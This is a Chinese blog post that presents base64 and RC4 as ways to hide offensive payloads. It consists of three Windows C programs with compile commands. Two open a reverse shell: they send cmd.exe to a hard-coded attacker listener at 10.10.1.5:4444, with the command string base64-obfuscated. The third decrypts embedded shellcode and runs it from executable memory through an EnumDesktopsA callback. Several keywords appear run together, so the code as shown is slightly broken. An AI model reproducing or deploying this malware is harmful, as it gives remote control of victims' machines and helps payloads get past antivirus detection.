首页 > 编程语言 >【base64算法】实战

【base64算法】实战

时间:2025-01-04 15:59:17浏览次数:1  
标签:实战 int ++ base64 sui char unsignedchar 算法 NULL

可以以ASCII码表示二进制数据,base64可以将二进制数据用64个字符表示,编码后的字符主要是64个字符位数不足用=补齐

使用base64加密cmd.exe

#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <wchar.h>
#include <wincrypt.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "crypt32.lib")

WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

// Base64 decoding function
void base64Decode(char* input, char* output) {
  DWORD decodedLength = 0;
CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &decodedLength, NULL, NULL);
CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, (BYTE*)output, &decodedLength, NULL, NULL);
}

int main(int argc, char* argv[]) {
// listener ip, port on attacker's machine
char* ip = "10.10.1.5";
short port = 4444;

// Base64-encoded command
char* base64Cmd = "Y21kLmV4ZQ==";

// Base64 decode the command
char cmd[1024];
base64Decode(base64Cmd, cmd);

// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);

// create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

// start cmd.exe with redirected streams
CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}

编译

x86_64-w64-mingw32-g++ hack.c -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32 -lws2_32

上面是使用<wincrypt.h>里面的加密解密函数实现,下面不使用自带函数,自己实现

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

staticchar encodingChars[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
                'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
                'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
                'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
                'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
                'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
                'w', 'x', 'y', 'z', '0', '1', '2', '3',
                '4', '5', '6', '7', '8', '9', '+', '/'};
staticchar *decodingTable = NULL;
staticint modTable[] = {0, 2, 1};

void createDecodingTable() {
  decodingTable = (char*)malloc(256);
for (int i = 0; i < 64; i++)
    decodingTable[(unsignedchar) encodingChars[i]] = i;
}

void cleanUpBase64() {
free(decodingTable);
}

char *encodeBase64(const unsigned char *data,
           size_t inputLength,
           size_t *outputLength) {
  *outputLength = 4 * ((inputLength + 2) / 3);
char *encodedData = (char*)malloc(*outputLength);
if (encodedData == NULL) returnNULL;

for (int i = 0, j = 0; i < inputLength;) {
    unsignedint octetA = i < inputLength ? (unsignedchar)data[i++] : 0;
    unsignedint octetB = i < inputLength ? (unsignedchar)data[i++] : 0;
    unsignedint octetC = i < inputLength ? (unsignedchar)data[i++] : 0;

    unsignedint triple = (octetA << 0x10) + (octetB << 0x08) + octetC;

    encodedData[j++] = encodingChars[(triple >> 3 * 6) & 0x3F];
    encodedData[j++] = encodingChars[(triple >> 2 * 6) & 0x3F];
    encodedData[j++] = encodingChars[(triple >> 1 * 6) & 0x3F];
    encodedData[j++] = encodingChars[(triple >> 0 * 6) & 0x3F];
  }

for (int i = 0; i < modTable[inputLength % 3]; i++)
    encodedData[*outputLength - 1 - i] = '=';

return encodedData;
}

unsigned char *decodeBase64(const char *data,
              size_t inputLength,
              size_t *outputLength) {
if (decodingTable == NULL) createDecodingTable();
if (inputLength % 4 != 0) returnNULL;

  *outputLength = inputLength / 4 * 3;
if (data[inputLength - 1] == '=') (*outputLength)--;
if (data[inputLength - 2] == '=') (*outputLength)--;

unsignedchar *decodedData = (unsignedchar*)malloc(*outputLength);
if (decodedData == NULL) returnNULL;

for (int i = 0, j = 0; i < inputLength;) {
    unsignedint sextetA = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
    unsignedint sextetB = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
    unsignedint sextetC = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
    unsignedint sextetD = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];

    unsignedint triple = (sextetA << 3 * 6) + (sextetB << 2 * 6) + (sextetC << 1 * 6) + (sextetD << 0 * 6);

    if (j < *outputLength) decodedData[j++] = (triple >> 2 * 8) & 0xFF;
    if (j < *outputLength) decodedData[j++] = (triple >> 1 * 8) & 0xFF;
    if (j < *outputLength) decodedData[j++] = (triple >> 0 * 8) & 0xFF;
  }

return decodedData;
}


int main(int argc, char *argv[]) {
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;

// Base64 encoded string
char command[] = "Y21kLmV4ZQ==";

// Decode the Base64 string
size_t decodeSize = strlen(command);
char * decodedCmd = (char*)decodeBase64(command, decodeSize, &decodeSize);

// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);

// create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

// start the decoded command with redirected streams
CreateProcess(NULL, decodedCmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}

编译

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32 -lws2_32

运行

RC4 和base64可以组合使用

首先base64加密shellcode,再RC4加密,运行时反过来操作,先RC4解密再base64解密。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")

int b64decode(const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen) {
  DWORD outLen;
  BOOL fRet;
  outLen = dstLen;
  fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0;  // failed
return (outLen);
}

// swap
void swap(unsigned char *a, unsigned char *b) {
unsignedchar tmp;
  tmp = *a;
  *a = *b;
  *b = tmp;
}

// key-scheduling algorithm (KSA)
void KSA(unsigned char *s, unsigned char *key, int keyL) {
int k;
int x, y = 0;

// initialize
for (k = 0; k < 256; k++) {
    s[k] = k;
  }

for (x = 0; x < 256; x++) {
    y = (y + s[x] + key[x % keyL]) % 256;
    swap(&s[x], &s[y]);
  }
return;
}

// pseudo-random generation algorithm (PRGA)
unsigned char* PRGA(unsigned char* s, unsigned int messageL) {
int i = 0, j = 0;
int k;

unsignedchar* keystream;
  keystream = (unsignedchar *)malloc(sizeof(unsignedchar)*messageL);
for(k = 0; k < messageL; k++) {
    i = (i + 1) % 256;
    j = (j + s[i]) % 256;
    swap(&s[i], &s[j]);
    keystream[k] = s[(s[i] + s[j]) % 256];
    }
    return keystream;
}

// encryption and decryption
unsigned char* RC4(unsigned char *plaintext, unsigned char* ciphertext, unsigned char* key, unsigned int keyL, unsigned int messageL) {
int i;
unsignedchar s[256];
unsignedchar* keystream;
KSA(s, key, keyL);
  keystream = PRGA(s, messageL);

for (i = 0; i < messageL; i++) {
    ciphertext[i] = plaintext[i] ^ keystream[i];
  }
return ciphertext;
}

int main(int argc, char* argv[]) {
unsignedchar* plaintext = (unsignedchar*)"/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQwBAABIMclBukWDVgf/1UgxyUG68LWiVv/VSGVsbG8sIFBhY2t0IQA9Xi4uXj0A";
unsignedchar* key = (unsignedchar*)"key";
unsignedchar* ciphertext = (unsignedchar *)malloc(sizeof(unsignedchar) * strlen((constchar*)plaintext));
RC4(plaintext, ciphertext, key, strlen((constchar*)key), strlen((constchar*)plaintext));

unsignedchar payload[] = "\x24\x29\x5d\xaf\x11\xdf\x3f\x65\x67\x64\x27\x14\x26\x1c\x53\xbc\xce\x31\xab\x34\xfa\xb7\xa1\xac\x63\xa5\xf2\xf4\x74\x88\x31\xf2\x47\x74\xc2\xdd\xf0\xcb\x8f\xf5\x5a\xe6\xb6\xe8\x73\x16\x4f\xcf\xaf\x54\x79\x0c\x3f\x90\x7d\xfd\xa6\x2b\x0d\x71\xc7\xb0\xb6\x40\xf0\x12\xdc\xa8\xc5\x20\xb5\xc0\x45\x25\x03\x30\x03\x23\xd9\xc8\x82\xbc\x7d\x1a\xfe\xcc\x66\x32\x2e\xaa\x40\xc9\x61\xc2\x72\x77\x70\xba\xc7\xd2\x3b\xea\x3d\x6f\x07\xf5\xbc\xae\x1d\x32\xc8\xf3\x6f\x1c\x32\xe0\xd7\x65\x20\x72\xec\x21\xfe\xa9\xc5\x72\x12\xa6\x06\x38\x01\x3e\x16\xe8\x09\x68\x87\xc8\x7f\x0b\x44\xcf\xba\x9c\xbe\x7c\xfc\x3b\x96\x3f\x90\xdc\x96\xe3\x8c\x3f\x3a\xe7\x57\xa4\xcd\xa5\x42\x4b\x55\x2e\x5b\x89\xf6\xd9\x80\x55\xf8\xbc\x0b\x4e\x66\x96\x01\xce\xc8\x97\x6a\xbd\x31\x6d\xfd\x53\xae\xcd\x98\xc9\x28\x73\x60\x4a\x82\xe1\x2e\xb7\x77\xc5\x97\xbd\x3d\xed\xc1\x9c\xeb\xc6\x06\x3a\x44\xf5\xf8\x7d\x79\x30\x42\xea\xbd\x4d\xbf\xe5\x18\xcb\xa5\x78\x6f\xb7\xf9\x65\xd7\x36\xbd\x92\x76\xf0\xda\x60\x97\xac\xd1\xcf\x98\xbf\xd7\x66\xd1\x4b\x34\x96\xfb\xe9\xf8\xac\x59\xe9\x0e\x81\x81\xe4\x7f\xcf\xd6\x7f\x16\x48\xe1\x94\x0c\x7c\x8e\xa0\x85\xa1\x81\x0f\xc3\x5f\xfb\xfd\x05\x7b\x69\x5b\xb4\x78\x4e\x1e\x10\x1b\x29\xc4\xa9\x1d\xa6\xa3\xe6\xa9\xb0\xdd\xc5\x35\x3b\x0e\xdb\xca\x82\x64\x1a\x19\x53\xdd\x65\xe7\xd3\x5e\x2e\x7d\x8c\xfa\x9c\x52\x6c\xa0\xad\x9a\x8f\xb6\xdc\x43\x8b\x8e\x5f\xac\x46\xb5\x90\x8a\x16\x3d\x4d\xb9\x17\xc6\x6d\x87\x13\xad\xa3\x78\x68\x7c\xbc\xcf\x1c\x36\xa6\xc6\x31\x2e\xf5\xcd\xd7\x69\xdd\xba\x6e\xeb\x66\xc5\x3f\x00\x96\x59\xd0\x28\xed\x3b\x2d\x62\x76\x55";
unsignedchar* encoded = (unsignedchar *)payload;
unsignedchar* decoded = (unsignedchar *)malloc(sizeof(unsignedchar) * (sizeof(payload) - 1));
RC4(encoded, decoded, key, strlen((constchar*)key), sizeof(payload) - 1);

unsignedint payload_bytes_len = 512;
char * decoded_payload_bytes = (char *)malloc(sizeof(char) * payload_bytes_len);
b64decode((const BYTE *)decoded, payload_bytes_len, decoded_payload_bytes, payload_bytes_len);

unsignedint decoded_payload_len = 288;
unsignedchar* decoded_payload = newunsignedchar[decoded_payload_len];

for (int j = 0; j < decoded_payload_len; j++) {
    decoded_payload[j] = decoded_payload_bytes[j];
  }

  LPVOID mem = VirtualAlloc(NULL, decoded_payload_len + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, decoded_payload, decoded_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
return0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32

标签:实战,int,++,base64,sui,char,unsignedchar,算法,NULL
From: https://www.cnblogs.com/o-O-oO/p/18651977

相关文章

  • 【凯撒Caesar算法】简单移位和替换
    #include<winsock2.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#pragmacomment(lib,"ws2_32.lib")WSADATAwsaData;SOCKETwSock;structsockaddr_inhax;STARTUPINFOsui;PROCESS_INFORMATIONpi;voidca......
  • 【ROT13算法】简单移位和替换
    字母替换,旋转13个位置,字母共26个,因此加密算法也是解密算法#include<winsock2.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#pragmacomment(lib,"ws2_32.lib")WSADATAwsaData;SOCKETwSock;structsockaddr_inhax;STARTUPINFOsui;......
  • 【ROT47算法】简单移位和替换
    另一个变种,一共94个字符(ASCII的33-126)#include<winsock2.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#pragmacomment(lib,"ws2_32.lib")WSADATAwsaData;SOCKETwSock;structsockaddr_inhax;STARTUPINFOsui;PROC......
  • 在Java中调用Python脚本:深入解析与实战演练
     在当今的软件开发领域,跨语言编程已经成为一种越来越普遍的需求。Java和Python,作为两种广泛使用的编程语言,各自拥有独特的优势。Java以其稳定性和高性能而闻名,而Python则因其简洁性和强大的库支持而受到青睐。在实际开发中,我们经常需要在Java应用程序中调用Python脚本,以利用P......
  • C++ 算法库(一)
    1.OSQP‌OSQP(OperatorSplittingQuadraticProgramming)是一个用于求解凸二次规划(ConvexQuadraticProgramming)问题的求解器‌。它基于“算子分裂”的优化方法,将二次规划问题分解为一系列小的子问题,并通过迭代的方式逐步求解。osqp-eigen是对OSQP库的Eigen接口封装,方便矩阵和向......
  • BUGAWAY算法小抄-差分数组
    BUGAWAY算法小抄-差分数组什么是差分数组?差分数组的思想是通过对原始数组进行处理,得到一个新的数组(差分数组),利用该数组来高效地进行区间更新操作。具体来说,差分数组记录的是相邻元素之间的差值,而不是原始数组的元素本身。差分数组的原理1.差分数组的构造:假设有一个数组A=......
  • 二分查找 - 相关基础算法总结
    问题1:寻找target位置,没有返回-1问题2:从右往左,寻找<target的第一个位置问题3:从左往右,寻找>target的第一个位置问题4:从右往左,寻找<=target的第一个位置问题5:从左往右,寻找>=target的第一个位置以上问题是求很多解力扣算法题的基础,需要好好的掌握: 问题1:寻找......
  • 索引压缩算法 New PForDelta 简介以及使用 SIMD 技术的优化
     1.背景:搜索引擎与索引压缩 在搜索引擎或类似需要对海量文档进行检索的系统中,通常会构建倒排索引(InvertedIndex)。为降低存储成本、减少I/O并提升检索速度,对倒排索引所包含的大量整数序列进行压缩是一种行之有效的手段。•目标:在确保解压速度的同时,尽量获得更好的压缩......
  • 爬山算法与模拟退火算法的全方面比较
    一、基本概念与原理1.爬山算法        爬山算法是一种基于启发式的局部搜索算法,通过不断地向当前解的邻域中搜索更优解来逼近全局最优解。它的核心思想是,从当前解出发,在邻域内找到一个使目标函数值更大(或更小)的解作为新的当前解,直到找不到更优的解为止。2.模拟退火......
  • 计算机网络•自顶向下方法:网络安全、RSA算法
    网络安全网络安全的通用定义:网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠地运行,网络服务不中断。网络中的通信安全机密性:报文内容的机密性:仅发送方和希望的接收方能够理解报文的内容通信......